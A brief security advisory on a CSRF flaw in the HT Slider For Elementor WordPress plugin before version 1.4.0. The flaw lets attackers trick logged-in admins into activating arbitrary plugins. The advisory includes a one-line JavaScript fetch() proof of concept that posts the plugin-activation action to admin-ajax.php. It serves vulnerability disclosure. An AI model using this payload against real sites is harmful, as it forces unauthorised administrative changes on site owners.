HT Slider For Elementor < 1.4.0 - Arbitrary Plugin Activation via CSRF

The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

PoC

activate woocommerce plugin exploit: fetch(‘http://localhost/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=ht-slider_ajax_plugin_activation&location;=woocommerce/woocommerce.php’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));